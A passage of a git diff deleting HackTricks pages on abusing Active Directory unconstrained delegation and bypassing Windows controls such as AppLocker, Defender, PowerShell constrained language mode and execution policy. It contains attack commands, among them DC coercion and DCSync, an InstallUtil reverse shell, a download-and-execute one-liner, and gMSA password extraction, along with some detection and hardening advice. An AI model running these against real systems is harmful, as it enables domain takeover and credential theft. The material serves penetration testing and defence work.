-
-Modern domains often have `MachineAccountQuota > 0` (default 10), allowing any authenticated principal to create up to N computer objects. If you also hold the `SeEnableDelegationPrivilege` token privilege (or equivalent rights), you can set the newly created computer to be trusted for unconstrained delegation and harvest inbound TGTs from privileged systems.
-
-High-level flow:
-
-1) Create a computer you control
-
-```bash
-# Impacket addcomputer.py (any authenticated user if MachineAccountQuota > 0)
-addcomputer.py -computer-name <FAKEHOST> -computer-pass '<Strong.Passw0rd>' -dc-ip <DC_IP> <DOMAIN>/<USER>:'<PASS>'
-```
-
-2) Make the fake hostname resolvable inside the domain
-
-```bash
-# krbrelayx dnstool.py - add an A record for the host FQDN to point to your listener IP
-python3 dnstool.py -u '<DOMAIN>\\<FAKEHOST>$' -p '<Strong.Passw0rd>' \
-  --action add --record <FAKEHOST>.<DOMAIN_FQDN> --type A --data <ATTACKER_IP> \
-  -dns-ip <DC_IP> <DC_FQDN>
-```
-
-3) Enable Unconstrained Delegation on the attacker-controlled computer
-
-```bash
-# Requires SeEnableDelegationPrivilege (commonly held by domain admins or delegated admins)
-# BloodyAD example
-bloodyAD -d <DOMAIN_FQDN> -u <USER> -p '<PASS>' --host <DC_FQDN> add uac '<FAKEHOST>$' -f TRUSTED_FOR_DELEGATION
-```
-
-Why this works: with unconstrained delegation, the LSA on a delegation-enabled computer caches inbound TGTs. If you trick a DC or privileged server to authenticate to your fake host, its machine TGT will be stored and can be exported.
-
-4) Start krbrelayx in export mode and prepare the Kerberos material
-
-```bash
-# Older labs often use RC4/NT hashes, but modern domains frequently negotiate AES for machine accounts.
-# Prefer supplying the AES key directly, or derive it from the known password+salt if needed.
-python3 krbrelayx.py --aesKey <AES256_KEY> -dc-ip <DC_IP>
-
-# Alternative if you know the password and correct Kerberos salt:
-python3 krbrelayx.py --krbpass '<Strong.Passw0rd>' --krbsalt '<CASE_SENSITIVE_SALT>' -dc-ip <DC_IP>
-```
-
-5) Coerce authentication from the DC/servers to your fake host
-
-```bash
-# netexec (CME fork) coerce_plus module supports multiple coercion vectors
-# Common options: METHOD=PrinterBug|PetitPotam|DFSCoerce|MSEven
-netexec smb <DC_FQDN> -u '<FAKEHOST>$' -p '<Strong.Passw0rd>' -M coerce_plus -o LISTENER=<FAKEHOST>.<DOMAIN_FQDN> METHOD=PrinterBug
-```
-
-krbrelayx will save ccache files when a machine authenticates, for example:
-
-```
-Got ticket for DC1$@DOMAIN.TLD [krbtgt@DOMAIN.TLD]
-Saving ticket in DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache
-```
-
-6) Use the captured DC machine TGT to perform DCSync
-
-```bash
-# Create a krb5.conf for the realm (netexec helper)
-netexec smb <DC_FQDN> --generate-krb5-file krb5.conf
-sudo tee /etc/krb5.conf < krb5.conf
-
-# Use the saved ccache to DCSync (netexec helper)
-KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
-  netexec smb <DC_FQDN> --use-kcache --ntds
-
-# Alternatively with Impacket (Kerberos from ccache)
-KRB5CCNAME=DC1$@DOMAIN.TLD_krbtgt@DOMAIN.TLD.ccache \
-  secretsdump.py -just-dc -k -no-pass <DOMAIN>/ -dc-ip <DC_IP>
-```
-
-Notes and requirements:
-
-- `MachineAccountQuota > 0` enables unprivileged computer creation; otherwise you need explicit rights.
-- Setting `TRUSTED_FOR_DELEGATION` on a computer requires `SeEnableDelegationPrivilege` (or domain admin).
-- Ensure name resolution to your fake host (DNS A record) so the DC can reach it by FQDN.
-- Coercion requires a viable vector (PrinterBug/MS-RPRN, EFSRPC/PetitPotam, DFSCoerce, MS-EVEN, etc.). Disable these on DCs if possible.
-- If the victim account is marked as **"Account is sensitive and cannot be delegated"** or is a member of **Protected Users**, the forwarded TGT will not be included in the service ticket, so this chain won't yield a reusable TGT.
-- If **Credential Guard** is enabled on the authenticating client/server, Windows blocks **Kerberos unconstrained delegation**, which can make otherwise valid coercion paths fail from an operator perspective.
-
-Detection and hardening ideas:
-
-- Alert on Event ID 4741 (computer account created) and 4742/4738 (computer/user account changed) when UAC `TRUSTED_FOR_DELEGATION` is set.
-- Monitor for unusual DNS A-record additions in the domain zone.
-- Watch for spikes in 4768/4769 from unexpected hosts and DC-authentications to non-DC hosts.
-- Restrict `SeEnableDelegationPrivilege` to a minimal set, set `MachineAccountQuota=0` where feasible, and disable Print Spooler on DCs. Enforce LDAP signing and channel binding.
-
-### Mitigation
-
-- Limit DA/Admin logins to specific services
-- Set "Account is sensitive and cannot be delegated" for privileged accounts.
-
-## References
-
-- HTB: Delegate — SYSVOL creds → Targeted Kerberoast → Unconstrained Delegation → DCSync to DA: https://0xdf.gitlab.io/2025/09/12/htb-delegate.html
-- harmj0y – S4U2Pwnage: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
-- ired.team – Domain compromise via unrestricted delegation: https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation
-- krbrelayx: https://github.com/dirkjanm/krbrelayx
-- Impacket addcomputer.py: https://github.com/fortra/impacket
-- BloodyAD: https://github.com/CravateRouge/bloodyAD
-- netexec (CME fork): https://github.com/Pennyw0rth/NetExec
-- Praetorian – Unconstrained Delegation in Active Directory: https://www.praetorian.com/blog/unconstrained-delegation-active-directory/
-- Microsoft Learn – Protected Users Security Group: https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs.md b/src/windows-hardening/authentication-credentials-uac-and-efs.md
deleted file mode 100644
index 2e2795bc9f9..00000000000
--- a/src/windows-hardening/authentication-credentials-uac-and-efs.md
+++ /dev/null
@@ -1,272 +0,0 @@
-# Windows Security Controls
-
-{{#include ../banners/hacktricks-training.md}}
-
-## AppLocker Policy
-
-An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.
-
-[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **application whitelisting solution** and gives system administrators control over **which applications and files users can run**. It provides **granular control** over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.\
-It is common for organizations to **block cmd.exe and PowerShell.exe** and write access to certain directories, **but this can all be bypassed**.
-
-### Check
-
-Check which files/extensions are blacklisted/whitelisted:
-
-```bash
-Get-ApplockerPolicy -Effective -xml
-
-Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
-
-$a = Get-ApplockerPolicy -effective
-$a.rulecollections
-```
-
-This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system:
-
-- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
-
-### Bypass
-
-- Useful **Writable folders** to bypass AppLocker Policy: If AppLocker is allowing to execute anything inside `C:\Windows\System32` or `C:\Windows` there are **writable folders** you can use to **bypass this**.
-
-```
-C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
-C:\Windows\System32\spool\drivers\color
-C:\Windows\Tasks
-C:\windows\tracing
-```
-
-- Commonly **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries can be also useful to bypass AppLocker.
-- **Poorly written rules could also be bypassed**
-  - For example, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, you can create a **folder called `allowed`** anywhere and it will be allowed.
-  - Organizations also often focus on **blocking the `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, but forget about the **other** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) such as `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` or `PowerShell_ISE.exe`.
-- **DLL enforcement very rarely enabled** due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break. So using **DLLs as backdoors will help bypassing AppLocker**.
-- You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass AppLocker. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
-
-## Credentials Storage
-
-### Security Accounts Manager (SAM)
-
-Local credentials are present in this file, the passwords are hashed.
-
-### Local Security Authority (LSA) - LSASS
-
-The **credentials** (hashed) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.\
-**LSA** administrates the local **security policy** (password policy, users permissions...), **authentication**, **access tokens**...\
-LSA will be the one that will **check** for provided credentials inside the **SAM** file (for a local login) and **talk** with the **domain controller** to authenticate a domain user.
-
-The **credentials** are **saved** inside the **process LSASS**: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
-
-### LSA secrets
-
-LSA could save in disk some credentials:
-
-- Password of the computer account of the Active Directory (unreachable domain controller).
-- Passwords of the accounts of Windows services
-- Passwords for scheduled tasks
-- More (password of IIS applications...)
-
-### NTDS.dit
-
-It is the database of the Active Directory. It is only present in Domain Controllers.
-
-## Defender
-
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) is an Antivirus that is available in Windows 10 and Windows 11, and in versions of Windows Server. It **blocks** common pentesting tools such as **`WinPEAS`**. However, there are ways to **bypass these protections**.
-
-### Check
-
-To check the **status** of **Defender** you can execute the PS cmdlet **`Get-MpComputerStatus`** (check the value of **`RealTimeProtectionEnabled`** to know if it's active):
-
-<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
-
-[...]
-AntispywareEnabled              : True
-AntispywareSignatureAge         : 1
-AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
-AntispywareSignatureVersion     : 1.323.392.0
-AntivirusEnabled                : True
-[...]
-NISEnabled                      : False
-NISEngineVersion                : 0.0.0.0
-[...]
-<strong>RealTimeProtectionEnabled       : True
-</strong>RealTimeScanDirection           : 0
-PSComputerName                  :
-</code></pre>
-
-To enumerate it you could also run:
-
-```bash
-WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
-wmic /namespace:\\root\securitycenter2 path antivirusproduct
-sc query windefend
-
-#Delete all rules of Defender (useful for machines without internet access)
-"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
-```
-
-## Encrypted File System (EFS)
-
-EFS secures files through encryption, utilizing a **symmetric key** known as the **File Encryption Key (FEK)**. This key is encrypted with the user's **public key** and stored within the encrypted file's $EFS **alternative data stream**. When decryption is needed, the corresponding **private key** of the user's digital certificate is used to decrypt the FEK from the $EFS stream. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
-
-**Decryption scenarios without user initiation** include:
-
-- When files or folders are moved to a non-EFS file system, like [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), they are automatically decrypted.
-- Encrypted files sent over the network via SMB/CIFS protocol are decrypted prior to transmission.
-
-This encryption method allows **transparent access** to encrypted files for the owner. However, simply changing the owner's password and logging in will not permit decryption.
-
-**Key Takeaways**:
-
-- EFS uses a symmetric FEK, encrypted with the user's public key.
-- Decryption employs the user's private key to access the FEK.
-- Automatic decryption occurs under specific conditions, like copying to FAT32 or network transmission.
-- Encrypted files are accessible to the owner without additional steps.
-
-### Check EFS info
-
-Check if a **user** has **used** this **service** checking if this path exists:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
-
-Check **who** has **access** to the file using cipher /c \<file>\
-You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
-
-### Decrypting EFS files
-
-#### Being Authority System
-
-This way requires the **victim user** to be **running** a **process** inside the host. If that is the case, using a `meterpreter` sessions you can impersonate the token of the process of the user (`impersonate_token` from `incognito`). Or you could just `migrate` to process of the user.
-
-#### Knowing the users password
-
-
-{{#ref}}
-https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
-{{#endref}}
-
-## Group Managed Service Accounts (gMSA)
-
-Microsoft developed **Group Managed Service Accounts (gMSA)** to simplify the management of service accounts in IT infrastructures. Unlike traditional service accounts that often have the "**Password never expire**" setting enabled, gMSAs offer a more secure and manageable solution:
-
-- **Automatic Password Management**: gMSAs use a complex, 240-character password that automatically changes according to domain or computer policy. This process is handled by Microsoft's Key Distribution Service (KDC), eliminating the need for manual password updates.
-- **Enhanced Security**: These accounts are immune to lockouts and cannot be used for interactive logins, enhancing their security.
-- **Multiple Host Support**: gMSAs can be shared across multiple hosts, making them ideal for services running on multiple servers.
-- **Scheduled Task Capability**: Unlike managed service accounts, gMSAs support running scheduled tasks.
-- **Simplified SPN Management**: The system automatically updates the Service Principal Name (SPN) when there are changes to the computer's sAMaccount details or DNS name, simplifying SPN management.
-
-The passwords for gMSAs are stored in the LDAP property _**msDS-ManagedPassword**_ and are automatically reset every 30 days by Domain Controllers (DCs). This password, an encrypted data blob known as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), can only be retrieved by authorized administrators and the servers on which the gMSAs are installed, ensuring a secure environment. To access this information, a secured connection such as LDAPS is required, or the connection must be authenticated with 'Sealing & Secure'.
-
-![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
-
-You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
-
-```
-/GMSAPasswordReader --AccountName jkohler
-```
-
-[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
-
-Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
-
-## LAPS
-
-The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.
-
-
-{{#ref}}
-active-directory-methodology/laps.md
-{{#endref}}
-
-## PS Constrained Language Mode
-
-PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **locks down many of the features** needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more.
-
-### **Check**
-
-```bash
-$ExecutionContext.SessionState.LanguageMode
-#Values could be: FullLanguage or ConstrainedLanguage
-```
-
-### Bypass
-
-```bash
-#Easy bypass
-Powershell -version 2
-```
-
-In current Windows that Bypass won't work but you can use[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
-**To compile it you may need** **to** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` and **change the project to .Net4.5**.
-
-#### Direct bypass:
-
-```bash
-C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
-```
-
-#### Reverse shell:
-
-```bash
-C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
-```
-
-You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
-
-## PS Execution Policy
-
-By default it is set to **restricted.** Main ways to bypass this policy:
-
-```bash
-1º Just copy and paste inside the interactive PS console
-2º Read en Exec
-Get-Content .runme.ps1 | PowerShell.exe -noprofile -
-3º Read and Exec
-Get-Content .runme.ps1 | Invoke-Expression
-4º Use other execution policy
-PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
-5º Change users execution policy
-Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
-6º Change execution policy for this session
-Set-ExecutionPolicy Bypass -Scope Process
-7º Download and execute:
-powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
-8º Use command switch
-Powershell -command "Write-Host 'My voice is my passport, verify me.'"
-9º Use EncodeCommand
-$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
-```
-
-More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
-
-## Security Support Provider Interface (SSPI)
-
-Is the API that can be use to authenticate users.
-
-The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider (SSP), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate.
-
-### Main SSPs
-
-- **Kerberos**: The preferred one
-  - %windir%\Windows\System32\kerberos.dll
-- **NTLMv1** and **NTLMv2**: Compatibility reasons
-  - %windir%\Windows\System32\msv1_0.dll
-- **Digest**: Web servers and LDAP, password in form of a MD5 hash
-  - %windir%\Windows\System32\Wdigest.dll
-- **Schannel**: SSL and TLS
-  - %windir%\Windows\System32\Schannel.dll
-- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
-  - %windir%\Windows\System32\lsasrv.dll
-
-#### The negotiation could offer several methods or only one.
-
-## UAC - User Account Control
-
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**.
-
-
-{{#ref}}
-authentication-credentials-uac-and-efs/uac-user-account-control.md
-{{#endref}}
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
deleted file mode 100644
index bb5348b9388..00000000000
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md
+++ /dev/null
@@ -1,319 +0,0 @@
-# Windows Security Controls
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## AppLocker Policy
-
-An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization.
-
-[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **application whitelisting solution** and gives system administrators control over **which applications and files users can run**. It provides **granular control** over executables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.\
-It is common for organizations to **block cmd.exe and PowerShell.exe** and write access to certain directories, **but this can all be bypassed**.
-
-### Check
-
-Check which files/extensions are blacklisted/whitelisted:
-
-```bash
-Get-ApplockerPolicy -Effective -xml
-
-Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
-
-$a = Get-ApplockerPolicy -effective
-$a.rulecollections
-```
-
-This registry path contains the configurations and policies applied by AppLocker, providing a way to review the current set of rules enforced on the system:
-
-- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
-
-### Bypass
-
-- Useful **Writable folders** to bypass AppLocker Policy: If AppLocker is allowing to execute anything inside `C:\Windows\System32` or `C:\Windows` there are **writable folders** you can use to **bypass this**.
-
-```
-C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
-C:\Windows\System32\spool\drivers\color
-C:\Windows\Tasks
-C:\windows\tracing
-```
-
-- Commonly **trusted** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries can be also useful to bypass AppLocker.
-- **Poorly written rules could also be bypassed**
-  - For example, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, you can create a **folder called `allowed`** anywhere and it will be allowed.
-  - Organizations also often focus on **blocking the `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, but forget about the **other** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) such as `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` or `PowerShell_ISE.exe`.
-- **DLL enforcement very rarely enabled** due to the additional load it can put on a system, and the amount of testing required to ensure nothing will break. So using **DLLs as backdoors will help bypassing AppLocker**.
-- You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass AppLocker. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
-
-## Credentials Storage
-
-### Security Accounts Manager (SAM)
-
-Local credentials are present in this file, the passwords are hashed.
-
-### Local Security Authority (LSA) - LSASS
-
-The **credentials** (hashed) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.\
-**LSA** administrates the local **security policy** (password policy, users permissions...), **authentication**, **access tokens**...\
-LSA will be the one that will **check** for provided credentials inside the **SAM** file (for a local login) and **talk** with the **domain controller** to authenticate a domain user.
-
-The **credentials** are **saved** inside the **process LSASS**: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
-
-### LSA secrets
-
-LSA could save in disk some credentials:
-
-- Password of the computer account of the Active Directory (unreachable domain controller).
-- Passwords of the accounts of Windows services
-- Passwords for scheduled tasks
-- More (password of IIS applications...)
-
-### NTDS.dit
-
-It is the database of the Active Directory. It is only present in Domain Controllers.
-
-## Defender
-
-[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) is an Antivirus that is available in Windows 10 and Windows 11, and in versions of Windows Server. It **blocks** common pentesting tools such as **`WinPEAS`**. However, there are ways to **bypass these protections**.
-
-### Check
-
-To check the **status** of **Defender** you can execute the PS cmdlet **`Get-MpComputerStatus`** (check the value of **`RealTimeProtectionEnabled`** to know if it's active):
-
-<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
-
-[...]
-AntispywareEnabled              : True
-AntispywareSignatureAge         : 1
-AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
-AntispywareSignatureVersion     : 1.323.392.0
-AntivirusEnabled                : True
-[...]
-NISEnabled                      : False
-NISEngineVersion                : 0.0.0.0
-[...]
-<strong>RealTimeProtectionEnabled       : True
-</strong>RealTimeScanDirection           : 0
-PSComputerName                  :
-</code></pre>
-
-To enumerate it you could also run:
-
-```bash
-WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
-wmic /namespace:\\root\securitycenter2 path antivirusproduct
-sc query windefend
-
-#Delete all rules of Defender (useful for machines without internet access)
-"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
-```
-
-## Encrypted File System (EFS)
-
-EFS secures files through encryption, utilizing a **symmetric key** known as the **File Encryption Key (FEK)**. This key is encrypted with the user's **public key** and stored within the encrypted file's $EFS **alternative data stream**. When decryption is needed, the corresponding **private key** of the user's digital certificate is used to decrypt the FEK from the $EFS stream. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System).
-
-**Decryption scenarios without user initiation** include:
-
-- When files or folders are moved to a non-EFS file system, like [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), they are automatically decrypted.
-- Encrypted files sent over the network via SMB/CIFS protocol are decrypted prior to transmission.
-
-This encryption method allows **transparent access** to encrypted files for the owner. However, simply changing the owner's password and logging in will not permit decryption.
-
-**Key Takeaways**:
-
-- EFS uses a symmetric FEK, encrypted with the user's public key.
-- Decryption employs the user's private key to access the FEK.
-- Automatic decryption occurs under specific conditions, like copying to FAT32 or network transmission.
-- Encrypted files are accessible to the owner without additional steps.
-
-### Check EFS info
-
-Check if a **user** has **used** this **service** checking if this path exists:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
-
-Check **who** has **access** to the file using cipher /c \<file>\
-You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
-
-### Decrypting EFS files
-
-#### Being Authority System
-
-This way requires the **victim user** to be **running** a **process** inside the host. If that is the case, using a `meterpreter` sessions you can impersonate the token of the process of the user (`impersonate_token` from `incognito`). Or you could just `migrate` to process of the user.
-
-#### Knowing the users password
-
-
-{{#ref}}
-https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
-{{#endref}}
-
-## Group Managed Service Accounts (gMSA)
-
-Microsoft developed **Group Managed Service Accounts (gMSA)** to simplify the management of service accounts in IT infrastructures. Unlike traditional service accounts that often have the "**Password never expire**" setting enabled, gMSAs offer a more secure and manageable solution:
-
-- **Automatic Password Management**: gMSAs use a complex, 240-character password that automatically changes according to domain or computer policy. This process is handled by Microsoft's Key Distribution Service (KDC), eliminating the need for manual password updates.
-- **Enhanced Security**: These accounts are immune to lockouts and cannot be used for interactive logins, enhancing their security.
-- **Multiple Host Support**: gMSAs can be shared across multiple hosts, making them ideal for services running on multiple servers.
-- **Scheduled Task Capability**: Unlike managed service accounts, gMSAs support running scheduled tasks.
-- **Simplified SPN Management**: The system automatically updates the Service Principal Name (SPN) when there are changes to the computer's sAMaccount details or DNS name, simplifying SPN management.
-
-The passwords for gMSAs are stored in the LDAP property _**msDS-ManagedPassword**_ and are automatically reset every 30 days by Domain Controllers (DCs). This password, an encrypted data blob known as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), can only be retrieved by authorized administrators and the servers on which the gMSAs are installed, ensuring a secure environment. To access this information, a secured connection such as LDAPS is required, or the connection must be authenticated with 'Sealing & Secure'.
-
-![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
-
-You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
-
-```
-/GMSAPasswordReader --AccountName jkohler
-```
-
-[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/)
-
-Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
-
-### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
-
-In many environments, low-privileged users can pivot to gMSA secrets without DC compromise by abusing misconfigured object ACLs:
-
-- A group you can control (e.g., via GenericAll/GenericWrite) is granted `ReadGMSAPassword` over a gMSA.
-- By adding yourself to that group, you inherit the right to read the gMSA’s `msDS-ManagedPassword` blob over LDAP and derive usable NTLM credentials.
-
-Typical workflow:
-
-1) Discover the path with BloodHound and mark your foothold principals as Owned. Look for edges like:
-   - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
-
-2) Add yourself to the intermediate group you control (example with bloodyAD):
-
-```bash
-bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
-```
-
-3) Read the gMSA managed password via LDAP and derive the NTLM hash. NetExec automates the extraction of `msDS-ManagedPassword` and conversion to NTLM:
-
-```bash
-# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
-netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
-# Account: mgtsvc$  NTLM: edac7f05cded0b410232b7466ec47d6f
-```
-
-4) Authenticate as the gMSA using the NTLM hash (no plaintext needed). If the account is in Remote Management Users, WinRM will work directly:
-
-```bash
-# SMB / WinRM as the gMSA using the NT hash
-netexec smb   <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
-netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
-```
-
-Notes:
-- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
-- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement.
-- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure.
-
-
-
-## LAPS
-
-The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), enables the management of local Administrator passwords. These passwords, which are **randomized**, unique, and **regularly changed**, are stored centrally in Active Directory. Access to these passwords is restricted through ACLs to authorized users. With sufficient permissions granted, the ability to read local admin passwords is provided.
-
-
-{{#ref}}
-../active-directory-methodology/laps.md
-{{#endref}}
-
-## PS Constrained Language Mode
-
-PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **locks down many of the features** needed to use PowerShell effectively, such as blocking COM objects, only allowing approved .NET types, XAML-based workflows, PowerShell classes, and more.
-
-### **Check**
-
-```bash
-$ExecutionContext.SessionState.LanguageMode
-#Values could be: FullLanguage or ConstrainedLanguage
-```
-
-### Bypass
-
-```bash
-#Easy bypass
-Powershell -version 2
-```
-
-In current Windows that Bypass won't work but you can use[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
-**To compile it you may need** **to** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` and **change the project to .Net4.5**.
-
-#### Direct bypass:
-
-```bash
